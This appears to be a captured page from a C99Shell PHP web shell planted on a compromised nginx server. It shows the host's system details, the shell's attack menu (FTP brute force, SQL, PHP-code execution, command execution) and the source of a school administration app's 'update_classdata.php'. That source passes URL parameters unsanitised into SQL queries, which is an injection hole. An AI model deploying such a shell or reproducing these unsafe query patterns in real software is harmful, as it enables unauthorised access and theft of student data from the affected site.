!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/   drwxrwxr-x
Free 39.76 GB of 48.28 GB (82.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     update_classdata.php (9.74 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
include(
'includes/header.php');
$studentid=$courseid='';
if(isset(
$_GET['sid']) && isset($_GET['cid'])){
   
$studentid=$_GET['sid'];
   
$courseid=$_GET['cid'];
}
?>
<?php 
  

// Storing session data
   
$_SESSION["role"];
   if(!isset(
$_SESSION["role"]))
   {

    
header("location:admin_login.php");
    
    
?>
    <script type="text/javascript">
        window.location.href = "admin_login.php";
    </script>
    <?php
   
}
   else
   {
    
?>
<link href = "https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css" rel = "stylesheet">
   
<style>
    .inner-block {
        padding: 3em 2em 4em 2em;
    }
</style>
<div class="page-container">    
    <div class="left-content">
        <div class="mother-grid-inner">
            <!--header start here-->
            <?php include('includes/head.php'); ?>
            <div class="inner-block">
                <h3 style="text-align: left;color: #337ab7;margin-bottom: 1%;">Topic Covered</h3>
                <div class="row" style="margin-top:30px;margin-left:5px;">
                    <form class="forms-sample" id="add_assign"  method="post">
                        <div class="txt-field">

                           
                            <?php

if($_SESSION['role']=="staff"){
    
$id=$_SESSION['user_id'];
   
$query "SELECT ud.user_id,ud.name FROM user_details ud LEFT JOIN enrolldetails ed ON ud.user_id=ed.user_id "
                                    
"where ed.admin_status=1 and ed.staff=$id GROUP BY ud.user_id order by ud.name asc";
                            
$result $con->query($query);
                            
?>
                            <label>Students</label>
                            <select id="student" name="student" required style="width:25%;"> 
                                <option value="">------------Select------------</option>
                                <?php
                                
while ($row $result->fetch_assoc()) {
                                    
$studsel='';
                                    if(
$studentid==$row["user_id"]){
                                        
$studsel='selected';
                                    }
                                    
?>
                                    <option value="<?php echo $row["user_id"]; ?><?php echo $studsel?>><?php echo $row["name"]; ?></option>
                                    <?php
                                
}
                                
?>
                            </select>
                            <label>Course Package</label>
                            <select id="course" placeholder="Package" name="course"  required="">
                                <option value="">------------Select------------</option>



                            </select>
                            <input type="button" class="logins" id="gettopics" name="submit" value="Submit">
    <?php
}
else{

  
$query "SELECT ud.user_id,ud.name FROM user_details ud LEFT JOIN enrolldetails ed ON ud.user_id=ed.user_id "
                                    
"where ed.admin_status=1 GROUP BY ud.user_id order by ud.name asc";
                            
$result $con->query($query);
                            
?>
                            <label>Students</label>
                            <select id="student" name="student" required style="width:25%;"> 
                                <option value="">------------Select------------</option>
                                <?php
                                
while ($row $result->fetch_assoc()) {
                                    
$studsel='';
                                    if(
$studentid==$row["user_id"]){
                                        
$studsel='selected';
                                    }
                                    
?>
                                    <option value="<?php echo $row["user_id"]; ?><?php echo $studsel?>><?php echo $row["name"]; ?></option>
                                    <?php
                                
}
                                
?>
                            </select>
                            <label>Course Package</label>
                            <select id="course" placeholder="Package" name="course"  required="">
                                <option value="">------------Select------------</option>



                            </select>
                            <input type="button" class="logins" id="gettopics" name="submit" value="Submit"> 
<?php
}
?>


                           
                        </div>
                    </form>
                </div>
            </div>
        </div>

        <!--heder end here-->
        <!-- script-for sticky-nav -->

        <div class="inner-block" style="padding: 0em 2em 4em 2em;">
            <!--  <h3 style="text-align: left;color: #337ab7;margin-bottom: 1%;">Available Syllabus</h3> -->


            <table id="technologies" class="table table-striped table-bordered table-condensed">

                <thead>
                <th>Sl No</th>
                <th>Topics</th>
                <th>Completed Status</th>
                <th>Completed Date</th>
                </thead>
                <tbody id="tcontent">
                    <?php
                    
if($studentid!='' && $courseid!=''){
                        
$query1 "SELECT st.* FROM syllabus_topics st LEFT JOIN syllabus s on st.syllabus_id=s.id  WHERE s.package=".$courseid." order by st.id ASC";
                        
$res1 $con->query($query1);
                        
$i=1;
                        while (
$row1 $res1->fetch_assoc()) {
                            
$tid=$row1['id'];
                            
$check=$con->query("SELECT completed_date from topics_covered where user_id = '$studentid' and course_id='$courseid' and topic_id='$tid'");
                            
$comp=$check->fetch_assoc();
                            
$date=$comp['completed_date'];
                            if(
$date!='' && $date!='0000-00-00'){ 
                                
$status='<span style="color:#2de62d;">Completed</span>'
                                
$date=$date;
                            } else { 
                                
$status='<span style="color:red;">Pending</span>'
                                
$date='';
                            }
                    
?>
                    <tr>
                        <td><?php echo $i?></td>
                        <td><?php echo $row1['topic']; ?></td>
                        <td class="status<?php echo $row1['id']; ?>" style="font-weight: 700;"><?php echo $status?></td>
                        <td>
                            <input type="text" id="completeddate<?php echo $row1['id']; ?>" name="completeddate" class='completeddate' placeholder="YYYY-MM-DD" value="<?php echo $date?>"> 
                            <button type="button"  class="btn btn-success " onclick="updateDate(<?php echo $courseid?>,<?php echo $studentid?>,<?php echo $row1['id']; ?>)">UPDATE </button>
                        </td>
                    </tr>
                    <?php
                    $i
++;
                    }}
                    
?>
                </tbody>

            </table>

        </div>
    </div> 
</div>  
<!--slider menu-->
<?php include('includes/sidebar.php'); ?>
<!--slide bar menu end here-->
<?php include('includes/footer.php'); ?>
   <script src = "https://code.jquery.com/ui/1.10.4/jquery-ui.js"></script>
<script type="text/javascript">
    $(document).ready(function () {
         $('#technologies').DataTable();
         
        
         
       var studenturlid='<?php echo $studentid?>';
       var courseurlid='<?php echo $courseid?>';
       if(studenturlid!='' && courseurlid!=''){
            getTopicList(studenturlid,courseurlid);
       }
        
       
       function getTopicList(student,course){
           $.ajax({
                    type: 'POST',
                    url: 'ajaxgetPackages.php',
                    data: {student: student,course:course},
                    success: function (html) {
                        $('#course').html(html);

                    }
                });
       }

        $('#student').on('change', function () {
            // alert('hai');
            var student = $(this).val();

            if (student) {
                 getTopicList(student,0);
                
            } else {
                $('#course').html('<option value="">Select </option>');

            }
        });

    $('#gettopics').click(function() {
        var student = $('#student').val();
        var course = $('#course').val();
        window.location.href="update_classdata.php?sid="+student+"&cid="+course;
      });
      
       
      
        
       
    });
     $('.completeddate').datepicker({
            dateFormat:"yy-mm-dd",
        });
        
    function updateDate(course_id,student_id,topic_id){
        var dateval=$('#completeddate'+topic_id).val();
       
        $.ajax({
                type: 'POST',
                url: 'updateStudentClassData.php',
                data: {studentid: student_id,courseid:course_id,topicid:topic_id,dateval:dateval},
                success: function (res) {
                    if(res==1){
                        $('.status'+topic_id).html('<span style="color:#2de62d;">Completed</span>');
                    }else{
                         $('.status'+topic_id).html('<span style="color:red;">Pending</span>');
                    }
                    swal('Successfully Updated !!','','success');
                }
            });
    }
</script>
<?php
   
}
?>  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0063 ]--